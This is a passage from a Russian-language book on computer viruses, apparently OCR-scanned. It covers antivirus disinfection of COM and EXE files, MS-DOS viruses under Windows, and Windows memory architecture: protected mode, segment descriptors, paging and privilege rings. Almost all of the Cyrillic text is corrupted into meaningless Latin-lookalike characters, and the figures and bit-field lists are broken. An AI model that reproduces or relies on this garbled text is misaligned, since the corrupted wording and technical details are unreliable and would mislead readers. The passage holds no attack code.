HTOTO BUPYC TOTEPSIET CIIOCOOHOCTD 3apPasKATh 3aITyCKAEMbIE ITPOTPAMMBI
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U CKPBIBATh CBOE MIPUCYTCTBUE HA KOMIIbIOTEPE (@ CrIOCOGHOCTh OTBEYATh
Ha «I1apoJiby» IyCTh HA BCAKWH cirydall octaHeTcst). Kpome Toro, aHTUBM-
pyc mepecTaHeT 0OHAPY/KUBATh €r0 B TaMSITH.

O6uapysxus Bupyc 8 COM-1iporpamme, aHTUBUPYC JOJKEH U3BJIEYb
u3 ero testa (o ementenuio 288h) 3 Gaiita u BIMCATh UX B HA4aJI0 STOU
POTPAMMBI.

O6Hapyskus Bupyc B EXE-niporpaMme, aHTUBUPYC J0JKEH M3BJI€Yb U3
ee reia (1o emetnennsiM 280h u 284h) manHbie 0 TOUKe BXO/Ia B IPOrpaM-
MY ¥ O [IOJIOKEHUM CTEKA U BEPHYTH MX HA MPEKHUIE MECTA B 3aTr0JIOBKe
EXE-daiina.

[Tocne atoro (n gst COM-, u gt EXE-iporpaMMbl) Hajlo oTcedb OT
KoHIa (aitaa 651 Gaiir.

Wcxomibie TEKCTHI COOTBETCTBYIOMIUX MIPOIIEYD IPUBEIEHBI B IIPUIIO-
SKEHUH.

3.1. MS-DOS-supycbl 8 anoxy Windows

.01 pacmpozanno noxaonan mens no nieuy u
cxasan: «Cmapas 26apousi!..»

A.u b. Crpyrarikue.
«BTopoe HailectBre Mapcuan»

Bce cymiecTByromire Bepcuu ornepaluonHoii cicrembl Windows ymesn,
YMEIOT U, BEPOSITHO, OYIIyT YMETH B IaTbHENIIIEM BBITIOTHSATH TIPOTPAMMBI,
cosmanubie st paboter B MS-DOS!. XoTs1, 10 MHEHUIO TIPOTPAMMUCTOB
us ¢upmbl Microsoft, 1a 1 camoro Busuia Teiitca, HeOGXOAUMOCTh TOA-
NIEPAKUBATD <yCTapeBITres (hOPMaThI TPOTPAMM CUJITBHO C/IEP;KUBAET pas-
BUTHE COBPEMEHHBIX OTIEPAIMOHHBIX CHUCTEM, JEJAeT UX apXUTEKTYPHO
HEOHOPOIHBIMU U HEHAIESKHBIMU.

Ho kak 6b1 T0 Hu 66110, MS-DOS noka sxus. Windows 95,/98/ME co-
JlepsKaT B CBOUX <«HeJpax» mosiHotieHHbie Bepcun (7.0 u 7.1) aroit ore-
PAITMOHHOM CUCTEMBI U, B IPUHITUIIE, /IayKe TIO/IEP;KUBAIOT BO3MOKHOCTD
«OTCTETUBATB> OT HUX IPOMO3AKYIO 32-paspsiiHyio rpadudeckyo 000-
nouky?. Windows NT/2000/XP 1oyt B IOJIHOM 0ObeMe MOAEIUPYIOT
pabory MS-DOS 5.0 u, COOTBETCTBEHHO, TOKE MO3BOJISIOT BBIOJIHSITH
MOJ] CBOWM YIIPaBJICHUEM <«CTapbie» TPOTPaMMbl. Ecin ecTh KesaHue
sarmyctuth MS-DOS-niporpammy u3-noji 64-6urossix Bepcuii Windows

U Jlnsa 64-6urtosbix Bepenit Windows aTo yske He Tax.
2 Tounee, a1yt Windows ME Takast BOSMOKHOCTb XOTSI U IMEETCSI, HO HE JIOKY-
MEHTUPOBAHA M UCKYCCTBEHHO CKPBITA OT IJ1a3 MOJIb30BATEIS.
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Vista/7, To K ycayram 10Jib30BaTeJIsl BAPTYaJbHble MallMHbl CTOPOHHUX
npousBoauTeseit, Harrpumep DosBox.

Kowmmbrotepnsiit Bupyc, dopmanbio sBisisice COM- nmm EXE-mpo-
TPAMMOM, TOXKE CIIOCOOEH JKUTh U Pa3MHOKATHCS MO/l YIIPABIEHUEM CO-
BPEMEHHBIX ONE€PAIIMOHHBIX CUCTEM.

Wmerorcs m Ha cOBpeMEHHbBIX KOMIIbIOTepax 11eJiu /715l 3apaxkenust MS-
DOS-supycamu? Hecomuernno. Katasmor «C:\Windows\COMMAND»
Ha MalirHe ¢ ycraHosaernoit Windows 9X Bech 3a110JiHeH CUCTEMHBIMU
yTUIUTAMK, OPOPMJIEHHBIMU B BUe caMblXx 0ObikHOBeHHbIX COM- u
EXE-nporpamm. Nmerores takue mporpammbl u B Katasiore «C:\WinNT\
SYSTEM32» na mammuse ¢ Windows cemetictsa N'T, 1 TOCTyT K HIM Beer-
Ta OTKPBIT 15T TIOJTb30BATESI, OOTAATONIETO TTPABAMHU «AIMIHICTPATO-
pa». He cieyer 3a6bIBaTh 1 0 MHOTOYHMCIEHHBIX KOMITBIOTEPHBIX MTPAX,
000 Bcex aTHX crapbix 400pbix Terpucax, Digger'ax u Goblins’ax, koro-
phle Toyac Topaszio 6oJiee NICKPEHHH 1 YBIEKATETbHBI, YeM COBPEMEHHDIE
«MypxyxHbI» U «3JIbl€ ITUYKUS .

[TapamokcaibHO, HO B HBIHEMIHUX YCJIOBUSAX IIAHCHI HA Pa3MHOKEHUE
U pacrmpocTpaHeHue ToJaydaoT GoJjiee MPUMUTUBHBIE, HE WCIOJIb3YIO-
e HeJIOKYMEHTHUPOBAHHBIX «HABOPOTOB» BUPYChL. COBpeMEHHbBIE BEP-
curt Windows OTHOCSITCST JIOSIBHO TOJIBKO K «ITPABUJIbHO» HATIMCAHHBIM
MS-DOS-uporpammam. Harpumep, 00bie Manumyastiun supyca ¢ SET
«HATKHYTCSI» Ha HECOOTBETCTBUE OJKU/IAEMOI0 U JeiicTBUTeIbHOrO (op-
MAaTOB 9TOH TabIIHIIBT; TPSIMOT TOCTYT K CEKTOPAM BIHYECTEPA YEPE3 TIpe-
poiBanue 13h Oyzer 3abaokuposan 32-paspsiiHoii OepaMOHHON crcTe-
MOI; BUPYC, UCIIOJIb3YIOMINI 11 CBOEH paboThl OCOOEHHOCTH CTPOEHUSI
daiinosoii cucrembl FAT, HeMuHyeMo <«3a0iyaurcsi» B <«J1aOUPUHTAX»>
He3HaKOMOI emy baitnoBoit cuctembl NTFS u 1. 1., 1 1. 1. 3aT0 BUpYC,
HCHOJB3YIOMNI TONbKO JOKYMEHTHPOBAHHBIE BOSMOKHOCTH ONEPAIIOH-
HOM CUCTeMBI, He OyeT UMETh CEphe3HbIX MPEIATCTBIIL. Takum o0pasom,
BBICOKOCJOKHBII TosmMopduk tra Zhenghi moutn HaBepHsKa BHI3OBET
TIPH 3aMyCKe CHCTEMHYIO OTMTHOKY, a mpocTeHbkuil Vienna.648 6victpo n
GeCIpensITCTBEHHO Mepe3apaskaeT BCe TOCTYIHbIE eMy (Haiiibl.

ITostomy MS-DOS-Bupychl mo-npexunemy padoToCIoCOOHbI, XOTS
BPSIJI JIM CMOTYT BBI3BATh OoJiee MM MEHee oIy TUMYIO arugemiio. «Cra-
pbIe» IIPOTPAMMBbI PEIKO MEPEHOCITCS C OJTHON MAIUHBI Ha IpyTyio. Pac-
npocrpanenne MS-DOS-Bupyca, BRIPBaBILIETOCs Ha CBOOOLY, HEMHHYEMO
GyJIeT OrpaHUyeHO CTEHAMU CTYIEHYECKOTO KOMITBIOTEPHOTO KJIACca MK
3aBOJICKOM KOHTOPBI. O TaKOM BUpYyCe IOYTH HUKTO He y3HaeT. Ero aBTop-
CTBOM He Tiepesl KeM Gy/IeT TTOXBACTAThCSI.

Bunumo, umenno moaromy Hobie MS-DOS-Bupychbi iepecrasiu coja-
Barbcd. OHU IIPOCTO BBIIIJIN U3 MOJIBI.
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(Mannosbie BUpPYChI
B Windows

Wcropus onepannontoii cucteMbl MS Windows Hauasach eliie B cepeim-
He 80-x rozoB XX Beka, HO 10JITOe BPEMST O KOMITBIOTEPHBIX BUPYCaX, Pac-
MIPOCTPAHSIIOINXCS B 9TOU cpejie, HUUero He ObLIo CIbiHo. Bostee Toro,
6bITOBAJIO MHEHNE (AKTUBHO TIOIEPKIBABIIIEECsT caMoil (hUpMOii-paspa-
6oTyrkoMm), uro Windows — ornepaiuontas cuctemMa, B KOTOPOi KOMIIbIO-
TepHas «3apasa» He MOXKeT cyllecTBoBarh B npuniinie. Ha camom nene
npakTudecku 10 cepeaunbl 90-x rogoB XX Beka olepalmoHHas cucreMa
MS Windows npocro He gBJjisiIach CTaHAAPTHON CUCTEMHON CPeLoil st
II9BM, COOTBETCTBEHHO, €€ MPUMEHSIO B CBOeH paboTe HE Takoe YiK
GOJIBIIIOE KOJIMYECTBO TT0JIb30BATE/ICH U IIPOrPAMMECTOB, U BUPYCOITHCA-
TEJIM YK TOYHO He BXOJUJIN B UX YUCJIO.

Curyarst pesko M3MEHUJIACh € BBIXOJOM TEPBOi OOIIEAOCTYMHOI
32-pa3ps/iHOIl BepCcUM ITON ONEPANMOHHONW CUCTEMbI, a UMeHHO MS
Windows 95. Bupycomnucarein 3aHsINCh ee U3yYeHUEM, 1 OY€Hb CKOPO
CTaJIo SICHO: BUPYCHI it Windows BO3MOKHB!!

Boutee Toro, 0oHM «BO3MOXKHBI» 710 CUX TTIOP.

4.]. CuctemHas opraHusaunga Windows

O HemeOonenno u cCmpacmmuo 3aeepusi Memst, ¥mo
azpezam 1eo0OPA3UMO CJONCHBLI, UMO UNHO20a
on, Jdenvsetic, cam He nNoHUMAem, Ymo mam u
K uemy.

A.u B. Crpyrankue. «Ckaska o Tpoiike»

Crenyer oTMeTuTh, uTO, B oTiure ot MS-DOS, onepanuonnas cucre-
mMa MS Windows npezacrasisger coboii 11e10e ceMeiicTBO IPOTrpaMMHbBIX
MPOLYKTOB, WIEHBl KOTOPOTO MOAYAC OTJIUYAIOTCS APYT OT APYyTa [0-
BOJIBHO CHJIBHO, 2 OYeHb MHOTUE (M OYeHb BaskHbIe!) MoapobHOCTH MX
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CTPOEHUST HUKOT/[A HE JIOKYMEHTUPOBAIKUCH (hUPMOiT-pazpabOTINKOM.
Ho st usydyenusi KOMIIbIOTEPHBIX BUPYCOB, crieiududeckux st MS
Windows, Bce paBHO HEOOXOAUMO XOTsI ObI TIOBEPXHOCTHOE 3HAHUE OC-
HOBHBIX IPUHIUIIOB YCTPOIiCTBA U (DYHKIIMOHUPOBAHUS ITOM OTIepaIly-
OHHOU CUCTEMBI.

Mb1 Oyzem paceMaTpuBath Bee Bepern Windows TakuM 06pa3oM, CI0B-
HO OHM pa3OUTHI Ha TpU GOJIBIIIE TPYIIILL.

I'pynna Windows 3X Bkirouaer B cebst MuIajilliie BEPCUU 9TOM orepa-
IIMOHHON cHUCTeMBbI (TOUHee, B Te BpEMeHa OHA SBJISIACH ellle «Tpadude-
cKkoil 060J10uK0ii» ). Bepcun 1.0, 2.0, Windows,/286 u Windows/386 ne
OYIyT pacCMaTpUBaThCs COBCEM, KaK Oe3Ha/IEKHO yCTapeBIIie U COBEP-
IIEHHO HEeaKTyaJbHble B KOHTEKCTE NaHHOI KHWUTH. 3aTO OIpelesieHHOe
sunManue Gymer yaemeno 16-paspsansivm Bepeusim 3.0, 3.1 u 3.11 for
Workgroups, KOTOpbI€ SIBJISITIUCH BITOJIHE «BUPYCOOIIACHBIMU» BO BpEMEHA
cBoero pactpoctpanenus (mepsast nosoBrHa 90-x rogoB XX Beka).

Ipynma Windows 9X Briouaer B cebst Bepcun 95, 98 u Millenium
Edition (ME). 91u (mpeumyiinectBeHHO) 32-paspsiHble ollepalioHHbIE
CUCTEMBbI PACCUNTAHBI HA MHANBUAYATHHOTO «/IOMANTHETO»> TTOJTb30BATES
1[I0 CUX TIOP KOe-T/ie UCIIOJIb3YIOTCSI.

I'pynna Windows NT Britouaer B cebst Bepcun Windows 4.0 (Work-
station u Server), Windows 2000, Windows XP, Windows Vista 1 Win-
dows 7. D1u 1oHOCTHIO 32-paspsiAHble OlE€PAIIOHHbIE CUCTEMbI OPUEH-
THPOBAHBI B OCHOBHOM Ha «KOPIIOPATUBHYI0» PabOTy B CETH, HO aKTUBHO
UCIIOJB3YIOTCS KaK «Ha paboTe», Tak u «goma». Bepcuu Windows NT 1.0,
2.0 m 3.X He paccMaTpUBAIOTCH, KaK PEIKO MCIIOJIb30BaBIINECsT BO Bpe-
MeHa cBoero pacripoctpanenus (cepeanna 90-x rojjoB XX Beka) U Ha Ha-
CTOSATINN MOMEHT MOJTHOCTBIO BHITECHEHHDIE GOJIee CTAPIITIMU BEPCUSIMIL.
Bepcun Windows 2003/2008 Server Taxske He pacCMaTPUBAIOTCS B CUILY
CBOEH HEGOIBITION PACTTPOCTPAHEHHOCTH CPEI MACCOBOTO TIOTIb30BATEIS.

4.1.1. OcobeHHOCTM appecauumn

Cospemennbie Bepcuu MS Windows oprueHTHPOBaHBI Ha BO3MOKHOCTH
mpoueccopos i386+. Mbl GyzeM HOHMMATh O] 9TUM 0003HAYEHIIEM BCe
Mozt miporteccopoB Intel, waunnas ¢ 1386, uepes MHOTOUMCITIEHHbBIE
Pentium’sr, BitoTs 10 coBpeMennbix Core iX u Atom, a Takyke COBMeCTH-
Mbie ¢ Humu pazpabortku Gupm AMD, Cyrix u npoune. ITu IPOIECCOPDI
MoryT paborath B Tpex pesknmax [30]:

O B peasbHOM PEKUME;

QO B 3alUIIEHHOM PEKUME;

QO B pexume BuptyasnbHoro 8086.
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Peanvnwiii pescum 1386+ npakTHUUECKU TTOJHOCTHIO COOTBETCTBYET pe-
JKUMY, B KOTOpOM paboTarot rporeccopsr i8086, 18088 1180186, 3a rckiio-
YEeHMEM TOTO, YTO C YBEJTNUYEHNEM HOMEPA BEPCUH MPOIleccopa BCAKUH pa3
BO3PACTAET KOJUYECTBO JOCTYIMHBIX IPOTPAMME PETHCTPOB M MAITUHHBIX
koMan. Hammpumep, yske HaumHasi ¢ mpoiieccopa 1386 mporpamma (maske
zamytentnasg B MS-DOS) moxkeT BbITTOTHATH MantiHHbIe KOMan bl BSF/
BSR (monck 6ura), obpamarbest K 32-0MTOBBIM PerucTpaM 0OOIIEro Ha-
sHavenus (tTuna EAX wim EST), a Takske UCIIOIB30BaTh B CBOMX HYKIAX
JIOTIOJTHUTEIbHBIE cerMeHTHbIe perncTpbl FS u GS.

Pescum supmyanviozo 8086 (nnorga ero uaspiBaior VMS86), sBisisach
Pa3HOBUHOCTBIO 3AIIUIIEHHOTO PEKUMA, [JIST MPUKIAIHBIX TPOrPAMM
MaJio 4YeM OTJIMYAETCS OT PeasibHOTO pesknMa. OneparmoHHo JKe cucTe-
Me VMS86 1no3BosisieT, HanpuMep, UMeTb HECKOJIbKO HE3aBUCUMBIX BUP-
TYaJIbHBIX aJPECHBIX TTPOCTPAHCTB, B KAKIOM 13 KOTOPBIX BBITIOJTHSAETCS
otnenbHad korug MS-DOS.

Bauguennotil pejcum — T0 OCHOBHON PEKUM, B KOTOPOM PaboTaioT co-
BpemeHHble Bepcun MS Windows. Eciit 6biTh 60Jiee TOUHBIM, TO HEKOTO-
poie Bepcrn MS Windows MOTYT 1o Mepe HeoGXOANMOCTH TIEPEKII0YaThCS
B peaslbHBIN PesKUM U B pesknM BupTyasbHoro 8086, HO ToTOM Bce pas-
HO BO3BpAIlAIOTCS B 3alllUIIEHHBIN pexkuM. B aToMm pesknme rporpamme,
B 001IIEM CJTy4ae, TOCTYITHBI BCIIOMOTATEIBHBIE PETUCTPHI COCTOSTHUS TTPO-
neccopa CRO-CR3, orsnazounsie peructpsl DRO-DR7, peructpsl TabJimiy
neckpuntopoB GDTR, LDTR, IDTR u TR u macca «<HOBBIX» KOMaH]I.

W3BecTHBI 1Be pasHOBUAHOCTH 3amuiieHHOro pexknma [30]. Tlepsas
UCIIOJIb3YET CErMEHTHYIO, & BTOPAst — CTPAHIMYHYIO OPTAHU3AIIIO OTlepa-
TUBHOU MTaMsITH.

4.1.1.1. Ceemenmnas opeanusauus aopecrozo
npocmpancmea

Omna mpenycMarpuBaer, 4To Bce uamdeckoe mpoctpanctso [[9BM
pa3buTO Ha PsII CETMEHTOB. AJIpec Kako#-1mbo sYeiiKu maMsITh, K KOTO-
POt TIpeIIIoIaraeTcst AOCTYII, 331a€TCs B BH/IE TIAPBL: {CEJIEKTOP, CMelle-
uve}. Cenexmop, MoJOOHO CETMEHTHO YacTH a/ipeca PeabHOTO PEsKIMa,
sarpyskaercs B 16-0MTOBbIII cerMeHTHBII perncTp. AHaJIOrUUHO 32-01TOo-
BOE CMeueHue pacrtoaraeTcs Inbo B MHAEKCHOM PErucTpe, Jubo, B Cary-
Jae IPsIMOIT azipecariui, CoIEP;KUTCS HETIOCPEACTBEHHO B KOJI€ MAIITITHHOM
KOMaH/Ibl. Ajipecariust 6a3upyercs Ha TIOHSATHY 0eCKPUNMoOpa cezmenma —
64-6UTOBOI 3amuCH, coJepsKallell «IIacIopT» TOTO CerMEeHTa, B KOTOPOM
pacrioylaraetcst UHTepecyiomas sueiika namsatu. [lomssmu meckpunrtopa
SBJAIOTCS 6a306viil adpec cermenta (WM TIPOCTO «6a3a»), €ro pasMep
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(TouHee, TaK Ha3bIBAEMBbIIl npedes WM JUMUmM) U yPOBEHD PUBUJIETHI,
KOTOPBIN HEOOXOAUMO UMETH CEJIEKTOPY JIJIs IOCTYIIA K 3TOMY CETMEHTY
(none DPL — descriptor privilege level). /leckpunropsl 110 cBoeMy Ha-
3HAUYEHUIO TPYIIIUPYIOTCS B CTIEIUANbHbIE MAOAULbL OCCKPUNMOPOS, A Ce-
JexkTop (TouHee, ero crapuas 12-6uToBas YacTh) UIpaeT Pojib MHIEKCA
B 9TUX TaOJIUIAX.

[Ba muammux 6ura cesexkropa (mone RPL — requested privelege level)
XapaKTepu3yIoT €ro ypoBeHb rpuBmiernii. Ilpuknaznag mporpamma,
MBITAIONIASACA 00PATUTLCS K sUeiike TaMsaTH, caMa PacIoyiaraeTcs B He-
KOTOPOM CETMEHTE, aIPECyeTCs KAKMM-TO CEJIEKTOPOM |, CJIeI0BATEIBHO,
TOKe 00JIa/IaeT OIPEe/IeIEHHbIM YPOBHEM MPUBUJIErUil (€ro Ha3bIBAIOT
CPL — current privilege level). /lsst Toro uto6bl yciento o6paTuThest
K cenexropy, ee CPL nosken coorBerctBoBaTh ero RPL. B cBoio oue-
pennb, RPL cenextopa yyacTByeT B olipe/ieJIeHUU BO3MOKHOCTHU IOCTYTIA
K feckpunTopy. Ecam on He cooTBeTCTBYeT YPOBHIO, 3a(DMKCHPOBAHHOMY
B 1tosie DPL feckpuntopa, To motmbITKA JIOCTYIIA K CETMEHTY (a 3HAYUT, U
K MHTEPeCYIOIel siuelike aMsTh ) OTBEPTaeTcs IMPOIeccopoM. B npoTus-
HoM ciydae 32-OUTOBBII afpec MHTEPECYIOIIEI STUeiIKI BBIYNCISIETCS KaK
cymMa 6a30BOTO ajipeca CerMeHTa U CMEIEHUs, U TI0 HeMY OCYIIeCTBIISeT-
CsI HOPMAJIBHBII JIOCTYII K sgueiike (cM. puc. 4.1).

32
I CwmeleHue : ,’
16 Tabnuua aeckpunTopos

Cenektop

32
—P| [eckpuntop Anpec

Puc. 4.1 < CermeHTHas agpecauus

[Tporieccop «mmoOHUMAaeT» CJIeAYIONIIe TUITBI CETMEHTOB:
«HECHCTEMHBIIT» CErMEHT UCIIOTHIEMOTO KOIa;

«HECHCTEMHBIIT» CeTMEHT TaHHBIX;

«HECHCTEMHBIIT» CTEKOBBII CETMEHT;

«CHUCTEMHBII» CETMEHT JIJIsT TOKATbHBIX TECKPUTITOPHBIX TaOJIHII;
«crCcTeMHbII» cermenT coctosiHus samaun (TSS — task state seg-
ment).

0000
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Dopmar cesekropa:

O
O

o

6utsl 0—1 — yposens npusuieruii (nosze RPL);

6uT 2 — npuUsHaK JoKanabHoro (ecau 1) wiu ramodansroro (ecim 0)
neckpuriropa (moJe TT);

6uthl 3—15 — uHAEKC (HOMEP CTPOKK) B TabJIMIE AECKPUIITOPOB.

JleCKpUIITOPBI XpaHATCsA B TabJMLaX AeCKpUnTopoB. [ Beell cucre-
Mbl uMeercst ogHa Tabuuia GDT riobaabHBIX JeCKPUNITOPOB (Ha Hee
cepunaerca peructp GDTR), ogna tabauma IDT gecKpUnTOpoB Ipepbl-
Bauuii (#Ha Hee ccouraercsa peructp IDTR), u moxer npucyrcrBoBaTh
MHOKecTBO Tabun LDT moKaabHBIX 1eCKPUIITOPOB (Ha HUX CCHLIAETCS
peructp LDTR). B atux 48-6utosbix perucrpax muagmue 16 6utos 3a-
HUMAaET JJIMHA TON I UHOH JeCKPUIITOPHOI TabIMIbl, yMEHbLUIEHHAsI HA
1, a crapiime 32 6ura npeacTaBIsiorT cOO0M afpec TabIUIIbL.

Hyuxnesas «cTpokas B Tabauiax JeCKPUNTOPOB Beeraa «iycray. O6muii
opmar neckpunTopa s «<HECUCTEMHBIX» CETMEHTOB:

o

O
O
O

@

©c 00 O O

6utel 0—15 1 48—51 — mpemes cerMenTa;

6uthl 16—39 u 56—63 — GasoBbIii aPEC CETMEHTa,;

6ut 40 — x cermenty y:xe 0bL10 oOpamenue (ecau 1) wnnm mer (ec-
au 0);

6uT 41 — LI cerMenTa IAaHHBIX OTIPEEIISAET, Pa3PelIeHbl JIM «4Te-
Hue/3anuch» (ecsu 1) unm Tosibko «urenues (ecu (), 171 cermen-
Ta KOJIa BAPUAHTHI BBITJISIIAT KaK «HUCIOJHeHne /uyTenues (ecyu 1)
WJI TOJIBKO «ucrosinenues (ecyu 0);

6uT 42 — 11 KOZOBOTO CEIMEHTA 9TO IIPU3HAK «COIIACOBAHHOCTI»
cermMenTa (JJOCTYITHOCTU APAJIETbHOTO JOCTYIIA K HEMY IIPOrpaMM
C Pa3HbIMU [IPUBUJIETUSIMU), JIJISI CETMeHTa NaHHbIX oH Bcerza 0,
a JIJIsI CTeKOBOro cermenra 1;

O6UTHI 43 1 44 — 1151 KOZIOBOTO M CTEKOBOTro cerMenToB 11, 11s cer-
MenTa ganneix 10 (craprmmii 6ut — Beerga eqununal);

6uThl 45 1 46 — HeliCTBUTEIBHBIA YPOBEHD IPUBUJIEIUI CErMEHTA
(mone DPL);

6uT 47 — IPU3HAK IPUCYTCTBUA CETMEHTA B OIIePATUBHOI IIaMSITH;
6ut 54 — mnpusHax 32-paspaaHoil (ecau 1) mam 16-paspsamoii
(ecam 0) ajipecaniii BHYTPU CETMEHTA;

6uT 55 — exquHMIA U3MepeHus 1Ipeaea cermenta — 4 K6 (ecim 1)
nim Gaiit (ecom 0).

DopmMaTbl «CUCTEMHBIX» IECKPUIITOPOB cjerka apyrue. Cpemu HUX
MOJKET BCTPETUTHCS JECKPUIITOP CIIEIUAIbHOIO TUIIA, TAK HA3BIBAEMbIil
«W03» WU «GeHMUNL>. THIT «CUCTEMHOTO» [IECKPUIITOPA MOKHO OIIpe-
JEJIATB 110 cofep:kuMoMy 6utoB 40—44 (cTapumii 6T — Beeraa HyJib!):
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00000 wm 01000 — 3amperieHHOE 3HAYEHUE;

00001 wm 01001 — goctynubiit TSS pus 1286 wm 1386+

00010 — cermenT Tab/IMIIBI TOKAIbHBIX I€CKPUITOPOB;

00011 ym 01011 — sanarsii TSS g 1286 min i386+;

00100 mm 01100 — BerTHIb BBI3OBA 114 1286 niin i386+;

00101 — BenTuib 3amaun st 1286 wiau 1386+;

00110 wm 01110 — BenTnsb ipepbiBanyst jiJist 1286 wim i386+;

00111 it 01111 — BeHTUIDb UCKIIOYEeHUH 1714 1286 mm 1386+.
Omnucannas cxeMa agpecanuu ucnoabsyercs B Windows 3X. C Touku

3peHusT IPUKJIAIHBIX TIPOTPAMM OIlE€PATUBHAS MMAMSTh IIPE/ICTABJISET CO-

6oit orpomuoe (2% 6aiiToB) o01Iee IIPOCTPAHCTBO, Pa30UTOE Ha OTAEIbHbIE

cerMenThbl. B 3aBUCUMOCTH OT yPOBHS TIPUBUJIETHE TPOTPAMMBI U YPOB-

Hell TPUBUJIETUI CeTMEHTOB K HEKOTOPBIM M3 HUX Y KaX01 KOHKPETHON

[POTPAMMbI UMEETCSI JIOCTYTI, 2 K HEKOTOPBIM — HET.

(ONONCNONONCNONG,

4.1.1.2. Cmpanuunas opeanuzauus aopecrozo
npocmpancmea

B arom ciyuae aapec (TouHee, aunennblil adpec) MHTEpecyoliei sueii-
KM [aMsTU OpejcTaBisier coboil oguo 32-6uroBoe umcyo. Crapiiue
10 6UTOB DTOrO YKC/IA UIPAIOT POJIb MHAEKCA B KaTajore TabJull, Colep-
skaneM ykasaresu Ha 1024 tabsmibl crpanuil. BeiOpas ogHy 13 9Tux Ta0-
JIMIL, Ipotieccop 110 cienytomum 10 Guram JUHEHOTO ajipeca U3BJIEKAeT
13 31Ol TabJuIbl 6a30BBIN aapec 4-KumobalTHOM (1in 4-MerabaiiTHOI)
crpanuibl namaTi. Hakonerr, muaiuie 12 6UToB JInHeiiHOro ajgpeca ciy-
JKAT CMeTleHUeM B 9TOH cTpanuiie (CM. puc. 4.2).

TNnHeHBIR agpec

Mupekc B | MHpekc B 12
katanore |rtabnuue | CmeleHne e
Tabnuy cTpaHuy

Tabnuua cTpaHny

Karanor Tabnuy
10 Anpec cTpaHuubl Anpec

Anpec Tabnuubl v

TaBnuua cTpaHuy

Puc. 4.2 < CTtpaHuyHasa agpecaums
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Dopmar 32-6UTOBOI «CTPOKU» KaTaaora TabIUIL UK TaGJ MBI CTPAHUIL
6ut 0 — IPU3HAK IPUCYTCTBUS CTPAHUIIBI B ONIEPATUBHON TAMATH;
6uT 1 — IpU3HAK JOCTYITHOCTHU JIJIsA 3AITUCH;

6uT 2 — hIar 3aLUThL CTPAHKLIEL

6UT 5 — NPU3HAK TOTO, YTO KaKas-TO TPOTpaMma obpariaercs
K CTPAHUIIE;

6UT 6 — IPU3HAK «3aHATOCTU» CTPAHUIIBI BO BPEMsI 3alIUCHU B HEe;
6utsl 12—31 — crapume 20 6UTOB GU3UYECKOTO agpeca CTPAHUIIL
(a mumamimue 12 Becerga pasubl 0, Tak Kak ajipec CTPaHUIIBI KPaTeH
4096).

B obuiem ciydyae onepatuBHas MaMATh OKA3bIBAETCS <«Pa3pe3aHHOl»
Ha MHOKECTBO <«JIOCKYTKOB» (pasmepoM 1o 4 K6 wiu 4 M6 kaskublii),
KOTODbIe «CIIUTbI» B IPOU3BOJIBHOM TOPsiKe. /[Ba coceHUX JTUHENHBIX
aj[peca MOTyT OTOOPaKAThCSI HA COBEPINEHHO Y/IAJ€HHbIEe IPYT OT JApyra
pusuueckue adpeca, a MOTYT — Ha OJINH U TOT K.

Ho nogo6uas cxema agpecaiuy B Y4UCTOM BUIE He BeTpedaercs, a Win-
dows 9X u Windows NT ucnonb3yior cieayionyio KOMOMHALIMIO: OIIepa-
[IMOHHAsI CUCTEMA MIPUMEHSIET «CTPAaHUYHOE» PasOueHue aMsaTh Jjist Op-
TaHU3AIUN «I1APAJLJIEbHBIX> AJIPECHBIX IPOCTPAHCTB, @ BOT IIPUKJIAHbIE
[POTPAMMbI UCIIOJIb3YIOT [IJIs1 A[PECAIN BHYTPU HUX CEJIEKTOPBI U CMe-
IIEHUSsT, XapaKTePHbIE [IJisI PACCMOTPEHHON BbIIIIEe «CETMEHTHON» MOJIEJIH.
B neckpuritopax, ONUCHIBAIOIINX AJPECHOE MTPOCTPAHCTBO MPUKIATHBIX
nporpamym, Windows 9X u NT ycranaBinBaioT HyJieBoii 6a30BbIi azpec
U MAKCUMAaJIbHO BO3MOJKHBII TIPEJEST, TAK YTO CMeIlleHUe UTPAET POJIb JIH-
HellHOTO azpeca. VIMEHHO TakuM 00pa3oM Peaius3yercst ni0CKas MOOeLb
(ellfe ee HA3BIBAIOT AHTJIMIICKUM CJIOBOM flat) orepaTuBHON MaMsITH, KOT-
[Ia ¢ TOYKU 3PEHUs IPUKJIAHON IPOTPAMMBI €€ aIPEeCHOe TPOCTPAHCTBO
OIIUCHIBAETCSI HEIIPEPBIBHON I10CJIEI0BATEIBHOCTHIO AJIPECOB CO 3HAYe-
nugamu ot 0 o 2%2—1.

0 0000

4.1.2. MexaHM3Mbl 3aLUTbl NAMATU

[Ipu paccmoTpenHny MexaHHU3Ma CETMEHTHOW aIpeCcaIiil BCTPEYAIOCH
HOHSITHE YPOBHS IPUBUJIETHI, HACTAIO BPEMS PACCMOTPETH BOIIPOC TIOJI-
po6ueii. ITong RPL cenekropa u DPL geckpuntopa coctodr us 2 6utos
Ka}K,[[I)HL/,I, TaK 4TO B HUX MOTYT 6I)ITI) 3allCalbl 3HAYECHUA B UHTEPBAJIE OT
0 o 3. 3nauenne 0 COOTBETCTBYET HAWBBICIIEMY YPOBHIO NPUBUJIETHIA,
suavenuve 3 — Hammenbinemy. DopMasibHble YCIOBUS JOCTYIIA CO CTOPOHBI
IIPOTPAMMBI K STUelKe MTaMsITH:

Q mus crekoBoro cermenita CPL=RPL=DPL;

O wunaue CPL<RPL<DPL.
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[Ipu HeBbINOHEHUN ITUX YCJIOBUI B TIPOIlECCOPE TEHEPUPYETCS HC-
KJTIOYCHHE.

YpoBHU NPUBUJIETUI YACTO HA3BIBAIOT KOJAbUAMU 3AUUMDL, TAK KAK MX
MOKHO YCJIOBHO M300pasuTh B BUJIE KOHIIEHTPUYECKUX JUHUIT 0O0POHBDI,
OKPYKAIOIUX CPEHEBEKOBLIM TOPO/I: BHEITHUE PBbI M 3€MJISIHbIC BaJbl
3AIIUIIAIOT JIAYYTH KPECThSIH U PEMECJIEHHUKOB, Jlajiee JIJist obeciedeHust
GesornacHocTr Gosiee GOraThIX U 3HATHBIX YJIEHOB OOIIECTBA TTOSBJSIOT-
csl JIepeBIHHbBIE CTEHBI, HAKOHEIl B IIEHTPE TOPo/ia 32 KAMEHHON CTEHOM
pacIojiaraeTcs CTajbHas OallHs, B KOTOPOI oOuTaer mpaBurenb. MS
Windows pasmeraer camoe cebGst B HyJEBOM KoJiblte 3amuthl (ring0),
JUIST TIPUKJIQJTHBIX TIPOIPAMM OTBOJIUT TPEThe KoJibllo (ring3), a 1mepBoe u
BTOpOE He UCoJb3yIoTcs. [IporpaMMHbie KOMITOHEHTBI HYJIEBOTO KOJIbIA
